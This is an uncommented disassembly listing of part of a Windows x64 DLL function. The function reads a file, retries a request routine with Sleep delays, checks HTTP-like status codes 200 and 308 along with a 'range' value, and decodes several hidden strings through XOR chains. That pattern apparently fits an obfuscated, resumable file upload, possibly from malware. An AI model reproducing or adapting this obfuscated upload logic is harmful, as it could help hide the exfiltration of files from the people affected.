call fcn.180001e50
nop
lea rcx, [rbp + 0x1e0]
call fcn.180001e50
nop
lea rcx, [rbp + 0x48]
call fcn.180001e50
xor r9d, r9d
lea r8, [rbp + 4]
mov edx, dword [rbp]
mov rdi, qword [rbp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x20], r14
lea r9, [rbp + 8]
mov r8d, dword [rbp + 8]
mov rdx, qword [rbp + 0x98]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rdx, [0x180058d94]
lea rcx, [rbp + 0x48]
call fcn.180005fb0
nop
lea rcx, [rbp + 0xd8]
call fcn.180001ff0
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.180005fb0
nop
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, r15d
mov r8, qword [rbp + 0x98]
lea rdx, [rbp + 0x78]
lea rcx, [r12 + 8]
call fcn.1800124b0
test eax, eax
setne bl
lea rcx, [rbp + 0x78]
call fcn.180001e50
nop
lea rcx, [rbp + 0x48]
call fcn.180001e50
test bl, bl
je 0x18001809d
inc esi
cmp esi, 3
ja 0x180018529
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [rsp + 0x54]
jmp 0x180017cb0
mov ebx, dword [rsp + 0x50]
cmp ebx, 0xc8
je 0x18001853f
cmp ebx, 0x134
jne 0x1800181ae
mov eax, dword [str._:T3V]
mov dword [rbp + 0x1b8], eax
movzx eax, word [0x180058d9c]
mov word [rbp + 0x1bc], ax
movzx eax, byte [rbp + 0x1bb]
xor byte [rbp + 0x1bc], al
movzx ecx, byte [rbp + 0x1ba]
xor al, cl
mov byte [rbp + 0x1bb], al
movzx edx, byte [rbp + 0x1b9]
xor cl, dl
mov byte [rbp + 0x1ba], cl
movzx eax, byte [rbp + 0x1b8]
xor dl, al
mov byte [rbp + 0x1b9], dl
xor al, 0x29
mov byte [rbp + 0x1b8], al
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x78]
call fcn.180005fb0
lea r8, [rbp + 0x78]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x38]
call fcn.18000db30
mov rbx, qword [rax]
lea rcx, [rbp + 0x78]
call fcn.180001e50
cmp qword [rbp + 0x38], rbx
je 0x1800184e5
lea rcx, [rbx + 0x40]
xor r8d, r8d
lea rdx, [0x180058d90]
call fcn.18000dcd0
cmp rax, 0xffffffffffffffff
je 0x1800184e5
lea r8, [rax + 1]
lea rcx, [rbx + 0x40]
or r9, 0xffffffffffffffff
lea rdx, [rbp + 0x1e0]
call fcn.18000be20
mov rcx, rax
call fcn.180001ff0
mov rcx, rax
call fcn.18003b8f8
inc rax
mov qword [rbp], rax
lea rcx, [rbp + 0x1e0]
call fcn.180001e50
mov edi, dword [rsp + 0x54]
jmp 0x180017cb0
inc esi
cmp esi, 3
ja 0x180018529
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x138]
call fcn.18000d300
mov dword [rbp + 0x18], 0x400
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x138]
call fcn.18000a5f0
nop
lea rcx, [rbp + 0x178]
call fcn.18000d300
lea rcx, [rbp + 0x178]
call fcn.18000dca0
nop
movsd xmm0, qword [0x180058da0]
movsd qword [rbp + 0x158], xmm0
mov eax, dword [0x180058da8]
mov dword [rbp + 0x160], eax
movzx eax, word [0x180058dac]
mov word [rbp + 0x164], ax
lea r8, [rbp + 0x163]
mov r9d, 2
nop dword [rax + rax]
movzx ecx, byte [r8]
xor byte [r8 + 1], cl
movzx eax, byte [r8 - 1]
xor al, cl
mov byte [r8], al
movzx eax, byte [r8 - 2]
xor byte [r8 - 1], al
movzx eax, byte [r8 - 3]
xor byte [r8 - 2], al
movzx eax, byte [r8 - 4]
xor byte [r8 - 3], al
movzx eax, byte [r8 - 5]
xor byte [r8 - 4], al
lea r8, [r8 - 6]
sub r9, 1
jne 0x180018240
xor byte [rbp + 0x158], 0xdb
movsd xmm0, qword [0x180058db0]
movsd qword [rbp + 0x1a8], xmm0
movzx eax, word [0x180058db8]
mov word [rbp + 0x1b0], ax
movzx eax, byte [rbp + 0x1af]
xor byte [rbp + 0x1b0], al
movzx ecx, byte [rbp + 0x1ae]
xor al, cl
mov byte [rbp + 0x1af], al
movzx eax, byte [rbp + 0x1ad]
xor cl, al
mov byte [rbp + 0x1ae], cl
movzx ecx, byte [rbp + 0x1ac]
xor al, cl
mov byte [rbp + 0x1ad], al
movzx eax, byte [rbp + 0x1ab]
xor cl, al
mov byte [rbp + 0x1ac], cl
movzx ecx, byte [rbp + 0x1aa]
xor al, cl
mov byte [rbp + 0x1ab], al
movzx edx, byte [rbp + 0x1a9]
xor cl, dl
mov byte [rbp + 0x1aa], cl
movzx eax, byte [rbp + 0x1a8]
xor dl, al
mov byte [rbp + 0x1a9], dl
xor al, 0x87
mov byte [rbp + 0x1a8], al
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x78]
call fcn.180005fb0
nop
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x178]
call fcn.1800148d0
mov rcx, rax
lea rdx, [rbp + 0x1a8]
call fcn.180001e00
nop
lea rcx, [rbp + 0x78]
call fcn.180001e50
cmp esi, 3
jae 0x180018423
nop word [rax + rax]
lea rdx, [0x180058d94]
lea rcx, [rbp + 0x48]
call fcn.180005fb0
nop
lea rcx, [rbp + 0xd8]
call fcn.180001ff0
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.180005fb0
nop
lea rax, [rbp + 0x138]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x178]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x78]
lea rcx, [r12 + 8]
call fcn.1800124b0
test eax, eax
sete bl
lea rcx, [rbp + 0x78]
call fcn.180001e50
nop
lea rcx, [rbp + 0x48]
call fcn.180001e50
test bl, bl
jne 0x18001841c
mov dword [r12], 3
inc esi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 3
jb 0x180018370
mov ebx, dword [rsp + 0x50]
cmp esi, 3
ja 0x1800184f9
cmp ebx, 0x134
jne 0x1800184ef
lea rdx, str.range
lea rcx, [rbp + 0x78]
call fcn.180005fb0
lea r8, [rbp + 0x78]
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x38]
call fcn.18000db30
mov rbx, qword [rax]
lea rcx, [rbp + 0x78]
call fcn.180001e50
cmp qword [rbp + 0x38], rbx
je 0x1800184bf
lea rcx, [rbx + 0x40]
xor r8d, r8d
lea rdx, [0x180058d90]
call fcn.18000dcd0
cmp rax, 0xffffffffffffffff
je 0x1800184ef
lea r8, [rax + 1]
lea rcx, [rbx + 0x40]
or r9, 0xffffffffffffffff
lea rdx, [rbp + 0x1e0]
call fcn.18000be20
mov rcx, rax
call fcn.180001ff0
mov rcx, rax
call fcn.18003b8f8
inc rax
mov qword [rbp], rax
lea rcx, [rbp + 0x1e0]
call fcn.180001e50
jmp 0x1800184c3
mov qword [rbp], r14
lea rcx, [rbp + 0x178]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0x138]
call fcn.18000a630
mov edi, dword [rsp + 0x54]
jmp 0x180017cb0
mov dword [r12], 4
jmp 0x180018531
mov dword [r12], 4
jmp 0x180018501
mov dword [r12], 3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x178]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0x138]
call fcn.18000a630
jmp 0x180018630
mov dword [r12], 3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180018630
mov r8d, dword [rbp + 0x70]
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x118]
call fcn.180014990
nop
lea rcx, [rbp + 0xf8]
call fcn.180001ee0
nop
lea rcx, [rbp + 0x78]
call fcn.180001ee0
nop
lea rcx, [rbp + 0x48]
call fcn.180001ee0
nop
lea r9, [rbp + 0x78]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x118]
call fcn.18001cd30
lea rcx, [rbp + 0x30]
call fcn.18000cec0
mov rdx, qword [r12 + 0x28]
lea rcx, [rbp + 0x30]
call fcn.18000f460
nop
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x1e0]
call fcn.18000c2c0
nop
lea rcx, [r12 + 0x50]
mov r8, rax
lea rdx, [rbp + 0x138]
call fcn.18000c360
nop
lea rcx, [rbp + 0x1e0]
call fcn.18000b3b0
nop
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
lea rcx, [rbp + 0x48]
call fcn.180001e50
nop
lea rcx, [rbp + 0x78]
call fcn.180001e50
nop
lea rcx, [rbp + 0xf8]
call fcn.180001e50
nop
lea rcx, [rbp + 0x118]
call fcn.180001e50
jmp 0x18001861d
mov rdi, qword [rbp + 0x30]
mov dword [r12], r14d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14d, 1
lea rcx, [rbp + 0x98]
call fcn.18000a630
jmp 0x180018651
mov dword [r12], 4
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x68]
call fcn.18000a630
nop
lea rcx, [rbp + 0xb8]
call fcn.180001e50
nop
lea rcx, [rbp + 0x38]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0x20]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0xd8]
call fcn.180001e50
mov eax, r14d
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.180033e70
mov rbx, qword [rsp + 0x398]
add rsp, 0x340
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret